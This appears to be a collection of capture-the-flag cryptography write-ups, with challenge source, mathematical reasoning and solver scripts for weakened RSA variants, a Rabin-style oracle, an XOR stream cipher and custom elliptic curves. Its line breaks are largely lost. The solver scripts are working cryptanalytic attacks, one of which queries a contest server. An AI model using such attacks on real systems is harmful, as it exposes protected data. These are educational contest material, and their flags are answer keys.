http://www.monnerat.info/publications/anomalous.pdfD = 11j = -2**15 def anom_curve(): m = 257743850762632419871495 p = (11*m*(m + 1)) + 3 a = (-3*j * inverse_mod((j - 1728), p)) % p b = (2*j * inverse_mod((j - 1728), p)) % p E = EllipticCurve(GF(p), [a,b]) G = E.gens()[0] return p, a, b, E, G def SmartAttack(P,Q,p): E = P.curve() Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ]) P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True) for P_Qp in P_Qps: if GF(p)(P_Qp.xy()[1]) == P.xy()[1]: break Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True) for Q_Qp in Q_Qps: if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]: break p_times_P = p*P_Qp p_times_Q = p*Q_Qp x_P,y_P = p_times_P.xy() x_Q,y_Q = p_times_Q.xy() phi_P = -(x_P/y_P) phi_Q = -(x_Q/y_Q) k = phi_Q/phi_P return ZZ(k) p = 730750818665451459112596905638433048232067471723 ap = 425706413842211054102700238164133538302169176474 bp = 203362936548826936673264444982866339953265530166 Ep = EllipticCurve(GF(p), [ap,bp])G = Ep(126552689249226752349356206494226396414163660811, 559777835342379827315577715664975494598512818777)rG = Ep(190128385937465835164338802317889165657442536853, 604514027124204305317929024826237325074492980218) print(SmartAttack(G,rG,p)) q = 730750818665451459112596905638433048232067472077aq = 3bq = 481Eq = EllipticCurve(GF(q), [aq,bq]) H = Eq(284866865619833057500909264169831974815120720320, 612322665682105897045018564282609259776516527853)sH = Eq(673590124165798818844330235458561515292416807353, 258709088293250578320930080839442511989120686226) print(H.discrete_log(sH))``` Sending the two keys, I get the flag ##### Flag `CCTF{Pl4yIn9_Wi7H_ECC_1Z_liK3_pLAiNg_wiTh_Fir3!!}`
## Rima### Challenge ```python#!/usr/bin/env python3 from Crypto.Util.number import *from flag import FLAG def nextPrime(n): while True: n += (n % 2) + 1 if isPrime(n): return n f = [int(x) for x in bin(int(FLAG.hex(), 16))[2:]] f.insert(0, 0)for i in range(len(f)-1): f[i] += f[i+1] a = nextPrime(len(f))b = nextPrime(a) g, h = [[_ for i in range(x) for _ in f] for x in [a, b]] c = nextPrime(len(f) >> 2) for _ in [g, h]: for __ in range(c): _.insert(0, 0) for i in range(len(_) - c): _[i] += _[i+c] g, h = [int(''.join([str(_) for _ in __]), 5) for __ in [g, h]] for _ in [g, h]: if _ == g: fname = 'g' else: fname = 'h' of = open(f'{fname}.enc', 'wb') of.write(long_to_bytes(_)) of.close()``` The flag is encoded using a bunch of weird looking operations, and then we get the two files `g.enc` and `h.enc` ### Solution Firstly, we can deduce the flag length as 32 bytes by simply testing some letter repeated some number of times as the flag, then checking the length of the output and comparing it to the size of `g.enc`. We will work through the steps in reverse order. #### Step 1 ```pythong, h = [int(''.join([str(_) for _ in __]), 5) for __ in [g, h]] for _ in [g, h]: if _ == g: fname = 'g' else: fname = 'h' of = open(f'{fname}.enc', 'wb') of.write(long_to_bytes(_)) of.close()``` Firstly, each file contains bytes, which we need to convert to a base 10 integer. Then, we need to convert this base 10 integer into a base 5 integer. We can do this quite easily with `gmpy2`'s `digits` function. #### Step 2 ```pythonc = nextPrime(len(f) >> 2) for _ in [g, h]: for __ in range(c): _.insert(0, 0) for i in range(len(_) - c): _[i] += _[i+c]``` These next steps add some elements of the list to other elements of the list. We can work out the value of `len(_) - c` by just running the program with a random 32 byte flag, and then to reverse it, we just need to ensure that we change the addition to subtraction, and work in reverse order, as the later elements of the list are not affected by the earlier ones (but not vice versa). We also then need to trim $c$ amound of 0's from the start of the list at the end. $c$ can again be worked out by just running the program. #### Step 3 ```pythona = nextPrime(len(f))b = nextPrime(a) g, h = [[_ for i in range(x) for _ in f] for x in [a, b]]``` This step simply takes the list $f$ and duplicates it $a$ and $b$ times, storing them in $g$ and $h$. We can either manually find the repeating sequence, work out the values of $a$ and $b$ and simply split $g$ into $a$ chunks (or $h$ into $b$ chunks), or we can simply know the length of $f$, and take the first $len(f)$ elements of $g$ to get the original $f$. #### Step 4 ```pythonf = [int(x) for x in bin(int(FLAG.hex(), 16))[2:]] f.insert(0, 0)for i in range(len(f)-1): f[i] += f[i+1]``` Our last step is again quite similar to step 2, we work out the length of $f$ by running the program, and then going in reverse order, changing the addition to a subtraction instead. We can then obtain the flag by converting the list into a string, which should be the binary string of the flag. ### Implementation Putting this all together, this looks like this: ```pythonfrom gmpy2 import digits # Step 1g = list(digits(bytes_to_long(open("g.enc","rb").read()) ,5))g = [int(x) for x in g] # Step 2for _ in [g]: for i in range(65791,-1,-1): _[i] -= _[i+c] # Step 3f = g[67:67+256]f = [int(x) for x in f] # Step 4for i in range(len(f)-2, -1, -1):f[i] -= f[i+1]print("".join([str(x) for x in f]))``` ##### Flag`CCTF{_how_finD_7h1s_1z_s3cr3T?!}`
## Maid### Challenge ```python#!/usr/bin/python3 from Crypto.Util.number import *from gmpy2 import *from secret import *from flag import flag global nbitnbit = 1024 def keygen(nbit): while True: p, q = [getStrongPrime(nbit) for _ in '01'] if p % 4 == q % 4 == 3: return (p**2)*q, p def encrypt(m, pubkey): if GCD(m, pubkey) != 1 or m >= 2**(2*nbit - 2): return None return pow(m, 2, pubkey) def flag_encrypt(flag, p, q): m = bytes_to_long(flag) assert m < p * q return pow(m, 65537, p * q) def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " hi all, welcome to Rooney Oracle, you can encrypt and decrypt any ", border) pr(border, " message in this oracle, but the flag is still encrypted, Rooney ", border) pr(border, " asked me to find the encrypted flag, I'm trying now, please help! ", border) pr(border*72) pubkey, privkey = keygen(nbit) p, q = privkey, pubkey // (privkey ** 2) while True: pr("| Options: \n|\t[E]ncrypt message \n|\t[D]ecrypt ciphertext \n|\t[S]how encrypted flag \n|\t[Q]uit") ans = sc().lower() if ans == 'e': pr("| Send the message to encrypt: ") msg = sc() try: msg = int(msg) except: die("| your message is not integer!!") pr(f"| encrypt(msg, pubkey) = {encrypt(msg, pubkey)} ") elif ans == 'd': pr("| Send the ciphertext to decrypt: ") enc = sc() try: enc = int(enc) except: die("| your message is not integer!!") pr(f"| decrypt(enc, privkey) = {decrypt(enc, privkey)} ") elif ans == 's': pr(f'| enc = {flag_encrypt(flag, p, q)}') elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` We are given access to an oracle which allows us to encrypt and decrypt data with $$c = m^2 \pmod n, \qquad n = p^2 q$$ and we can request a flag encrypted as $$c = m^{e} \pmod {pq}, \qquad e = 65537$$ Where $p,q$ are 1024 bit primes. The goal is to use the oracle to factor $n$ and hence obtain the flag. ### Solution The first step is to obtain $n = p^2 q$, which we can do by computing: $$n = \gcd(m_1^2 - c_1, m^2_2 - c_2)$$ by using the oracle to obtain $c_i$ from integers $m_i$. Note: there may by other factors, and we actually compute $kn$ for some $k \in \mathbb{Z}$. We can ensure $k = 1$ by computing many $m_i,c_i$ and taking the gcd many times. The second step is to obtain one of the prime factors. We cannot send very large numbers to encrypt, but can get around this by sending $E(-X)$ for arbitary sized $X$. As the encryption is simply squaring, this makes no difference. **Defund** noticed that if you decrypt $X = D(2)$ and then compute $E(-X)$, you do not obtain $2$, but rather some very large integer. I'm not sure how **Defund** solved it, but playing with the numbers while writing it up, I noticed that: $$\gcd(n, D(-1) - 1) = p$$ which allowed me to solve. Looking around online, some other people seem to have solved by doing something like $$\gcd(n, D(m)^2 - m ) = p^2$$ but seeing as we have no source, a bit of guess work needed to be done one way or another, which seems like a shame. #### Implementation ```pythonfrom pwn import *from Crypto.Util.number import *from math import gcdimport random r = remote('04.cr.yp.toc.tf', 38010) def encrypt(msg): r.recvuntil(b"[Q]uit") r.sendline(b"E") r.recvuntil(b"encrypt: ") r.sendline(str(msg)) r.recvuntil(b" = ") return int(r.recvline().strip()) def decrypt(msg): r.recvuntil(b"[Q]uit") r.sendline(b"D") r.recvuntil(b"decrypt: ") r.sendline(str(msg)) r.recvuntil(b" = ") return int(r.recvline().strip()) def get_flag(): r.recvuntil(b"[Q]uit") r.sendline(b"S") r.recvuntil(b" = ") return int(r.recvline().strip()) def recover_n(): # Obtain kn m = 2**1536 - random.randint(1,2**1000) c = encrypt(m) n = m**2 - c # Remove all factors of two while n%2 == 0: n = n // 2 # Compute a few more GCD to remove any other factors. for _ in range(10): m = 2**1536 - random.randint(1,2**1000) c = encrypt(m) n = gcd(n, m**2 - c) return n def dec_flag(p,q): c = get_flag() d = pow(0x10001, -1, (p-1)*(q-1)) m = pow(c,d,p*q) return long_to_bytes(m) def recover_factors(n): X = decrypt(-1) p = gcd(X - 1, n) assert isPrime(p) q = n // (p*p) assert isPrime(q) return p, q n = recover_n()p, q = recover_factors(n)flag = dec_flag(p,q)print(flag)# CCTF{___Ra8!N_H_Cryp70_5YsT3M___}``` ##### Flag `CCTF{___Ra8!N_H_Cryp70_5YsT3M___}` ### Decryption At the end of the CTF, Factoreal shared the decrypt function. Seeing this, the methods of solving make sense, but it seems like a shame that this wasn't included within the challenge ```pythondef decrypt(c, privkey): m_p = pow(c, (privkey + 1) // 4, privkey) i = (c - pow(m_p, 2)) // privkey j = i * inverse(2*m_p, privkey) % privkey m = m_p + j * privkey if 2*m < privkey**2: return m else: return privkey**2 - m```
## DoRSA### Challenge > Fun with RSA, this time [two times](https://cr.yp.toc.tf/tasks/DoRSA_17cab1318229a0207b1648615db1edc6497f8b62.txz)! ```python#!/usr/bin/env python3 from Crypto.Util.number import *from math import gcdfrom flag import FLAG def keygen(nbit, dbit): assert 2*dbit < nbit while True: u, v = getRandomNBitInteger(dbit), getRandomNBitInteger(nbit // 2 - dbit) p = u * v + 1 if isPrime(p): while True: x, y = getRandomNBitInteger(dbit), getRandomNBitInteger(nbit // 2 - dbit) q = u * y + 1 r = x * y + 1 if isPrime(q) and isPrime(r): while True: e = getRandomNBitInteger(dbit) if gcd(e, u * v * x * y) == 1: phi = (p - 1) * (r - 1) d = inverse(e, phi) k = (e * d - 1) // phi s = k * v + 1 if isPrime(s): n_1, n_2 = p * r, q * s return (e, n_1, n_2) def encrypt(msg, pubkey): e, n = pubkey return pow(msg, e, n) nbit, dbit = 1024, 256 e, n_1, n_2 = keygen(nbit, dbit) FLAG = int(FLAG.encode("utf-8").hex(), 16) c_1 = encrypt(FLAG, (e, n_1))c_2 = encrypt(FLAG, (e, n_2)) print('e =', e)print('n_1 =', n_1)print('n_2 =', n_2) print('enc_1 =', c_1)print('enc_2 =', c_2)``` ```e = 93546309251892226642049894791252717018125687269405277037147228107955818581561n_1 = 36029694445217181240393229507657783589129565545215936055029374536597763899498239088343814109348783168014524786101104703066635008905663623795923908443470553241615761261684865762093341375627893251064284854550683090289244326428531870185742069661263695374185944997371146406463061296320874619629222702687248540071n_2 = 29134539279166202870481433991757912690660276008269248696385264141132377632327390980628416297352239920763325399042209616477793917805265376055304289306413455729727703925501462290572634062308443398552450358737592917313872419229567573520052505381346160569747085965505651160232449527272950276802013654376796886259enc_1 = 4813040476692112428960203236505134262932847510883271236506625270058300562795805807782456070685691385308836073520689109428865518252680199235110968732898751775587988437458034082901889466177544997152415874520654011643506344411457385571604433702808353149867689652828145581610443408094349456455069225005453663702enc_2 = 2343495138227787186038297737188675404905958193034177306901338927852369293111504476511643406288086128052687530514221084370875813121224208277081997620232397406702129186720714924945365815390097094777447898550641598266559194167236350546060073098778187884380074317656022294673766005856076112637129916520217379601``` Basically, we have $$p = uv + 1, \quad q = uy + 1, \quad r = xy + 1, \quad s = kv + 1$$ where $p, q, r, s$ are all primes. Also, $\phi = (p-1)(r-1) = uvxy$ and $ed \equiv 1 \pmod \phi$. $k$ is calculated by $k = (ed - 1)/\phi$. It is notable that $e$ is $256$ bits. Our goal is to decrypt RSA-encrypted messages, so we need to find one of $\phi(n_1)$ or $\phi(n_2)$. ### Solution Not so long after starting this problem, rbtree suggested using continued fractions with $$n_2 / n_1 \approx k / x$$ Indeed, we see that $$\frac{n_2}{n_1} = \frac{qs}{pr} = \frac{(uy+1)(kv+1)}{(uv+1)(xy+1)} \approx \frac{uykv}{uvxy} = \frac{k}{x}$$ and their difference is quite small, as $$\frac{n_2}{n_1} - \frac{k}{x} = \frac{(uy+1)(kv+1)x - (uv+1)(xy+1)k}{x(uv+1)(xy+1)} $$ and the numerator is around $256 \times 3$ bits, and the denominator is around $256 \times 5$ bits. Note that $k/x$ has denominator around 256 bits, and it approximates $n_2/n_1$ with difference around $2^{-512}$. If you know the proof for Wiener's Attack (highly recommend you study it!) you know that this implies that $k/x$ must be one of the continued fractions of $n_2/n_1$. Now, we can get small number of candidates for $k/x$. We also further assumed $\gcd(k, x) = 1$. If we want to remove this assumption, it is still safe to assume that $\gcd(k, x)$ is a small integer, and brute force all possible $\gcd(k, x)$ as well. Now we have a small number of candidates for $(k, x)$. I finished the challenge by noticing the following three properties. First, $k \phi + 1 \equiv 0 \pmod{e}$, so that gives $256$ bit information on $e$. Second, $\phi \equiv 0 \pmod x$, so that gives another $256$ bit information on $x$. Finally, $$|\phi - n_1| = |(p-1)(r-1) - pr| \approx p + r \le 2^{513}$$ Therefore, we can use the first two facts to find $\phi \pmod{ex}$.Since $ex$ is around $512$ bits, we can get a small number of candidates for $\phi$ using the known bound for $\phi$. If we know $\phi$, we can easily decrypt $c_1$ to find the flag. ```pythonfrom Crypto.Cipher import AES, PKCS1_OAEP, PKCS1_v1_5from Crypto.PublicKey import RSAfrom Crypto.Util.number import inverse, long_to_bytes, bytes_to_long, isPrime, getPrime, GCDfrom tqdm import tqdmfrom pwn import *from sage.all import *import itertools, sys, json, hashlib, os, math, time, base64, binascii, string, re, struct, datetime, subprocessimport numpy as npimport random as randimport multiprocessing as mpfrom base64 import b64encode, b64decodefrom sage.modules.free_module_integer import IntegerLatticefrom ecdsa import ecdsa def inthroot(a, n): if a < 0: return 0 return a.nth_root(n, truncate_mode=True)[0] def solve(n, phi): tot = n - phi + 1 dif = inthroot(Integer(tot * tot - 4 * n), 2) dif = int(dif) p = (tot + dif) // 2 q = (tot - dif) // 2 if p * q == n: return p, q return None, None e = 93546309251892226642049894791252717018125687269405277037147228107955818581561n_1 = 36029694445217181240393229507657783589129565545215936055029374536597763899498239088343814109348783168014524786101104703066635008905663623795923908443470553241615761261684865762093341375627893251064284854550683090289244326428531870185742069661263695374185944997371146406463061296320874619629222702687248540071n_2 = 29134539279166202870481433991757912690660276008269248696385264141132377632327390980628416297352239920763325399042209616477793917805265376055304289306413455729727703925501462290572634062308443398552450358737592917313872419229567573520052505381346160569747085965505651160232449527272950276802013654376796886259enc_1 = 4813040476692112428960203236505134262932847510883271236506625270058300562795805807782456070685691385308836073520689109428865518252680199235110968732898751775587988437458034082901889466177544997152415874520654011643506344411457385571604433702808353149867689652828145581610443408094349456455069225005453663702enc_2 = 2343495138227787186038297737188675404905958193034177306901338927852369293111504476511643406288086128052687530514221084370875813121224208277081997620232397406702129186720714924945365815390097094777447898550641598266559194167236350546060073098778187884380074317656022294673766005856076112637129916520217379601 c = continued_fraction(Integer(n_2) / Integer(n_1)) for i in tqdm(range(1, 150)): k = c.numerator(i) x = c.denominator(i) if GCD(e, k) != 1: continue res = inverse(e - k, e) cc = crt(res, 0, e, x) md = e * x // GCD(e, x) st = cc + (n_1 // md) * md - 100 * md for j in range(200): if GCD(e, st) != 1: st += md continue d_1 = inverse(e, st) flag = long_to_bytes(pow(enc_1, d_1, n_1)) if b"CCTF" in flag: print(flag) st += md``` ##### Flag `CCTF{__Lattice-Based_atT4cK_on_RSA_V4R1aN75!!!}`
# CHALLENGE A stream cipher in only 122 bytes!Note: This has been tested on python versions 3.8 and 3.9 # WRITEUP In this challenge we are given a python script `mingen.py` that produced an output `output.txt`The script is written in only two lines, but takes a complex analysis. I will try to break it down in simple terms: ```Pythonexec('def f(x):'+'yield((x:=-~x)*x+-~-x)%727;'*100)g=f(id(f));print(*map(lambda c:ord(c)^next(g),list(open('f').read())))```The first line of the code is declaring a function 'f' taking an argument 'x' `def f(x)` which does some crazy math with you input 100 times. Therefore, it generates a 100-byte long generator item. In simple terms, you can compare this to a list of 100 items.Then, the function is called using `id(f)` as parameter and stored in the variable `g`. In simple terms, the function `id()` function returns the identity of an object. You could say that this is "random", since everytime you execute this script it will generate a different number. So now we know that we are inputing a "random" number as x to `f(x)`, some black magic happens 100 times, and this "list" (generator) is stored in the variable `g`.However, when you try to `print(g)`, you get something like `<generator object f at 0x7f834f0d3660>`. In order see the actual numbeers, we need to run `print(*g)`, this is because the `*` collects all the positional arguments in a tuple, similar how `for item in items` would collect every item in a list. Let's move on with the code analysis:this big part: `print(*map(lambda c:ord(c)^next(g),list(open('f').read())))` is doing the following:1. opens the file "f" (we assume it's the flag file), reads it, and returns it as a list, so that every character of the file is now a list item.2. stores the flag in the `c` variable, which is done using `lambda c`.3. xor each flag character with each number in the `g` variable. I'll rewrite the whole code now in simple terms:```Pythondef f(x): my_list = [] for i in range(100): x = ((-~x)*x+-~-x)%727 #I didn't actually verify if this works, think of as pseudo-code just to give a basic idea of what's happening my_list.append(x) return my_list flag = open('f').read()output = []random_number = id(f)g = f(random_number) for i in range(len(flag)): output.append(ord(flag[i]) ^ g[i]) print(output) ```Now, the thing about xor encryption is that it can be easily reversed. This is because of the following:a ^ b = cc ^ a = bc ^ b = a We already know our c, because that's what's in the `output.txt` file given.We know that a is supposed to be the real flag. The real flag always starts with `rarctf{`We know that b is the generator object stored in the `g` variable. So we can take the first 7 elements of our `output.txt` and xor with `rarctf{`. Hence c ^ a = b. ```Pythonoutput = [281, 547, 54, 380, 392, 98, 158, 440, 724, 218, 406, 672, 193, 457, 694, 208, 455, 745, 196, 450, 724]flag = 'rarctf{' print("xor result of flag and output:")for i in range(len(flag)): print(ord(flag[i]) ^ output[i], end = ' ')``` result = 363 578 68 287 508 4 229 Now let's brute force the `f(x)` to see what input we need to return a sequence that starts in those numbers: ```Pythonprint("number for x that will have g start in 363")for i in range(1000): g = f(i) if next(g) == 363: print(i, end = ' ')```result = 256 470 983 So these numbers will generate a sequence that starts in 363, just like our "c ^ a" result above. One of these numbers might generate a sequence that's identical to what we're looking for. Let's test them:```Pythonx = 256print(f"Next 6 digits in g for x starting in {x}")g = f(x)for i in range(7): print(next(g), end = ' ')```result = 363 150 666 457 250 45 569 Not what we're looking for, let's move on: ```Pythonx = 470print(f"Next 6 digits in g for x starting in {x}")g = f(x)for i in range(7): print(next(g), end = ' ')```result = 363 578 68 287 508 4 229 Bingo!This matches the result of output ^ flagNow that we know that `470` will generate the list we want, we only need to xor it with the output to get the flag:```Pythong = f(x)print("xor output with g to get the flag")for n in output: print(chr(n ^ next(g)), end = '')```result = **rarctf{pyg01f_1s_fun}** Full code:```Pythonexec('def f(x):'+'yield((x:=-~x)*x+-~-x)%727;'*100) print("number for x that will have g start in 363")for i in range(1000): g = f(i) if next(g) == 363: print(i, end = ' ')print("\n") x = 470print(f"Next 6 digits in g for x starting in {x}")g = f(x)for i in range(7): print(next(g), end = ' ')print("\n") output = [281, 547, 54, 380, 392, 98, 158, 440, 724, 218, 406, 672, 193, 457, 694, 208, 455, 745, 196, 450, 724]flag = 'rarctf{' print("xor result of flag and output:")for i in range(len(flag)): print(ord(flag[i]) ^ output[i], end = ' ')print("\n") g = f(x)print("xor output with g")for n in output: print(chr(n ^ next(g)), end = '')print("\n") ``` Alternative two-line solution:```Pythonexec('def f(x):'+'yield((x:=-~x)*x+-~-x)%727;'*100)g=f(470);print(*map(lambda c:chr(int(c)^next(g)),open('output.txt').read().split(' ')))```
## Ferman### Challenge > Modern cryptographic algorithms are the theoretical foundations and the core technologies of information security. Should we emphasize more?>> `nc 07.cr.yp.toc.tf 22010` ```+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ hi talented participants, welcome to the FERMAN cryptography task! ++ Solve the given equations and decrypt the encrypted flag! Enjoy! +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | Parameters generation is a bit time consuming, so please be patient :P| Options: | [P]rint encrypted flag | [R]eveal the parameters | [Q]uit P| encrypt(flag) = 6489656589950752810044571176882070993656025408411955877914111875896024399252967804237101085443293019406006339555779534657926807551928549712558667515175079267695028070934727514846970003337126120540450206565849474378607706030211234939933160392491902242074123763448231072583065175864490510115483208842110529309232348180718641618424365058379284549574700049803925884878710773408472100779358561980206902500388524570616750475958017638946408491011264747032498524679282489181606124604218147 R e = 65537 isPrime(p) = True isPrime(q) = True n = p * q (p - 127)**2 + (q - 184)**2 = 13809252727788824044233595548226590341967726502046327883413398709726819135921363848617960542444505497356040393690402758557636039683075007984614264314802550433942617885990971202110511768121760826488944622697964930982921462840320850014092598270493079542993367042001339267321218767132063176291998391714014192946596879176425904447127657664796094937171819714510504836456988487840790317576922986001688147359646287894578550322731904860694734616037751755921771706899493873123836562784063321 m = bytes_to_long(flag) c = pow(m, e, n) ``` ### Solution On each connection, we are given a flag encrypted using RSA, with additional information in the form $$(p - a)^2 + (q - b)^2 = w$$ On every connection, the integers $a,b,w$ are different, although $a,b$ are usually small ($a,b < 2000$ ). **Lyutoon** and **Ratman** noticed that factoring $z$, it was always a seventh power $w = z^t$, which means we can write the equation as: $$x^2 + y^2 = z^7$$ We can factor the left hand side by writing: $$x^2 + y^2 = (x + iy)(x - iy)$$ and now we realise that by factoring $z^7$ as a Gaussian integer in $\mathbb{Z}[i]$: $$z = \prod_i (a_i + i b_i)$$ we can obtain $x,y$, as $(x + i y)$ will be a divisor of $z \in \mathbb{Z}[i]$, and from this solve for $p,q$ to grab the flag. Connecting again, we get: ```pythona = 2265 b = 902 w = 24007015341450638047707811509679207068051724063799752621201994109462561550079479155110637624506028551099549192036601169213196430196182069103932872524092047760624845002308713558682251660517182097667675473038586407097498167776645896369165963981698265040400341878755056463554861788991872633206414266159558715922583613630387512303492920597052611976890648632123534922756985895479931541478630417251021677032459939450624439421018438357005854556082128718286537575550378203702362524442461229flag_enc = 10564879569008106132040759805988959471544940722100428235462653367215001622634768902220485764070394703676633460036566842009467954832811287152142597331508344786167188766356935684044757086902094847810694941751879500776345600036096556068243767090470376672110936445246103465175956767665996275085293250901512809704594905257754009538501795362031873203086994610168776981264025121998840163864902563628991590207637487738286741829585819040077197755226202284847``` Obtaining the factors of $z \in \mathbb{Z}[i]$ we find: ```pythona = 2265 b = 902 z = w^(1/7)K = ZZ[i]gaussian_factors = factor(K(z))# gaussian_factors (-I) * (-1236649975237776943493190425869173*I - 3575914522629734831030006136433790) * (-5*I - 4) * (4*I + 5) * (-1236649975237776943493190425869173*I + 3575914522629734831030006136433790)``` We now know that $(x + iy)$ is some divisor of $z$, and knowing that $p,q$ are prime, we can find these easily ```pythonz_test = (-1236649975237776943493190425869173*I - 3575914522629734831030006136433790)*(4*I + 5)w_test = z_test**7x_test = abs(w_test.imag())y_test = abs(w_test.imag())p = x_test + aq = y_test + b assert is_prime(p)assert is_prime(q)assert (p - a)**2 + (q - b)**2 == w``` Finally, with `p,q` we can solve for the flag ```pythonfrom Crypto.Util.number import * p = 3515251100858858796435724523870761115321577101490666287216209907489403476079222276536571942496157069855565014771125798502774268554017196492328530962886884456876064742139864478104832820555776577341055529681241338289453827370647829795170813667 q = 3413213301181339793171422358348736699126965473930685311400429872075816456893055375667482794611435574843396575239764759040242158681190020317082329009191911152126267671754529169503180596722173728126136891139303943035843711591741985591269095977phi = (p-1)*(q-1)d = pow(0x10001, -1, phi)print(long_to_bytes(pow(flag_enc,d,p*q)))b'CCTF{Congrats_Y0u_5OLv3d_x**2+y**2=z**7}'``` ##### Flag `CCTF{Congrats_Y0u_5OLv3d_x**2+y**2=z**7}`
## Double Miff### Challenge>A new approach, a new attack. Can you attack this curve?[double_miff.txz](https://cr.yp.toc.tf/tasks/double_miff_58336b2ad5ed82754ac8e9b3bdcc8f25623c909c.txz) ```python#!/usr/bin/env python3 from Crypto.Util.number import *from secret import a, b, p, P, Qfrom flag import flag def onmiff(a, b, p, G): x, y = G return (a*x*(y**2 - 1) - b*y*(x**2 - 1)) % p == 0 def addmiff(X, Y): x_1, y_1 = X x_2, y_2 = Y x_3 = (x_1 + x_2) * (1 + y_1*y_2) * inverse((1 + x_1*x_2) * (1 - y_1*y_2), p) % p y_3 = (y_1 + y_2) * (1 + x_1*x_2) * inverse((1 + y_1*y_2) * (1 - x_1*x_2), p) % p return (x_3, y_3) l = len(flag) // 2m1, m2 = bytes_to_long(flag[:l]), bytes_to_long(flag[l:]) assert m1 < (p // 2) and m2 < (p // 2)assert onmiff(a, b, p, P) and onmiff(a, b, p, Q)assert P[0] == m1 and Q[0] == m2 print(f'P + Q = {addmiff(P, Q)}')print(f'Q + Q = {addmiff(Q, Q)}')print(f'P + P = {addmiff(P, P)}')``` ```pythonP + Q = (540660810777215925744546848899656347269220877882, 102385886258464739091823423239617164469644309399)Q + Q = (814107817937473043563607662608397956822280643025, 961531436304505096581595159128436662629537620355)P + P = (5565164868721370436896101492497307801898270333, 496921328106062528508026412328171886461223562143)``` ### SolutionWe have a curve equation $ax(y^2 - 1) \equiv by(x^2 - 1) \mod p$ with unknown $a$, $b$, $p$; $P$ and $Q$ are some points on it, and we have $P + Q$, $Q + Q$ and $P + P$. We need to recover $x$-coordinates of $P$ and $Q$, since they contain parts of the flag.Addition here is commutative and associative, so we have $$(P + P) + (Q + Q) = P + P + Q + Q = P + Q + P + Q = (P + Q) + (P + Q).$$ We have 2 ways of representing $x$- and $y$-coordinates of $P + P + Q + Q$. Set $P + Q = (x_1, y_1)$, $Q + Q = (x_2, y_2)$, $P + P = (x_3, y_3)$, $P + P + Q + Q = (x_0, y_0)$. Then from addition formulas for $x$ we have $$x_0 \equiv \frac{(x_2+x_3)(1+y_2y_3)}{(1+x_2x_3)(1-y_2y_3)} \mod p \\x_0 \equiv \frac{2x_1(1+y_1^2)}{(1+x_1^2)(1-y_1^2)} \mod p$$, from where we get this: $$p|((1+x_1^2)(1-y_1^2)(x_2+x_3)(1+y_2y_3) - 2x_1(1+y_1^2)(1+x_2x_3)(1-y_2y_3))$$ Analogously from addition formulas for y we get $$p|((1+y_1^2)(1-x_1^2)(y_2+y_3)(1+x_2x_3)-2y_1(1+x_1^2)(1+y_2y_3)(1-x_2x_3))$$ We can compute gcd of 2 numbers above to get a small multiple of $p$ ($8p$ in this case), and from there we get $p = 1141623079614587900848768080393294899678477852887$. Recall that for any point on the curve we have $ax(y^2-1) \equiv by(x^2-1) \mod p$, from where we can compute $k \equiv \frac{a}{b} \equiv \frac{y(x^2 - 1)}{x(y^2-1)} \mod p$ by using any known point. Note that we also have $\frac{y}{y^2-1} \equiv k\frac{x}{x^2-1} \mod p$. Set $P = (x_4, y_4)$, and from addition formulas we get: $$x_3 \equiv \frac{2x_4(1+y_4^2)}{(1+x_4^2)(1-y_4^2)} \mod p \\y_3 \equiv \frac{2y_4(1+x_4^2)}{(1+y_4^2)(1-x_4^2)} \mod p$$ from where we get $$x_3y_3 \equiv \frac{4x_4y_4}{(x_4^2-1)(y_4^2-1)} \equiv 4k(\frac{x_4}{x_4^2 - 1})^2 \mod p$$ and then $(\frac{x_4^2-1}{x_4})^2 \equiv \frac{4k}{x_3y_3} \mod p$ and have $\frac{x_4^2-1}{x_4} \equiv \pm l \mod p$, where $l \equiv (\frac{4k}{x_3y_3})^{\frac{p+1}{4}} \mod p$, since $p \equiv 3 \mod 4$. From here we get $x_4^2 \mp lx_4 - 1 \equiv 0 \mod p$. Discriminant in both cases is equal to $D \equiv l^2 + 4 \mod p$, and we get roots of both equations with $\frac{\pm l \pm \sqrt{D}}{2} \mod p$. Check each one of them, the one that results into printable text gives us the first half of the flag. Analogously we can recover $x$-coordinate of $Q$ and get second half of the flag. By concatenating them, we will have the full flag. Judging by the flag, though, this may be an unintended solution. ### Implementation```python#!/usr/bin/env python3from Crypto.Util.number import isPrime, long_to_bytesfrom math import gcd x1, y1 = (540660810777215925744546848899656347269220877882, 102385886258464739091823423239617164469644309399)x2, y2 = (814107817937473043563607662608397956822280643025, 961531436304505096581595159128436662629537620355)x3, y3 = (5565164868721370436896101492497307801898270333, 496921328106062528508026412328171886461223562143)num1 = (1 + x1 ** 2) * (1 - y1 ** 2) * (x2 + x3) * (1 + y2 * y3) - 2 * x1 * (1 + y1 ** 2) * (1 + x2 * x3) * (1 - y2 * y3)num2 = (1 + y1 ** 2) * (1 - x1 ** 2) * (y2 + y3) * (1 + x2 * x3) - 2 * y1 * (1 + x1 ** 2) * (1 + y2 * y3) * (1 - x2 * x3)pmult = gcd(num1, num2)for i in range(2, 10): while pmult % i == 0: pmult //= i if isPrime(pmult): p = pmult break def recover_half(x, y): k = y * (x ** 2 - 1) * pow(x * (y ** 2 - 1), -1, p) % p l = pow(4 * k * pow(x * y, -1, p), (p + 1) // 4, p) D = (l ** 2 + 4) % p sqrtD = pow(D, (p + 1) // 4, p) for i in range(-1, 2, 2): for j in range(-1, 2, 2): num = (i * l + j * sqrtD) * pow(2, -1, p) % p text = long_to_bytes(num) if b'CCTF{' in text or b'}' in text: return text first_half = recover_half(x3, y3)second_half = recover_half(x2, y2)flag = (first_half + second_half).decode()print(flag)``` ##### Flag`CCTF{D39enEr47E_ECC_4TtaCk!_iN_Huffs?}`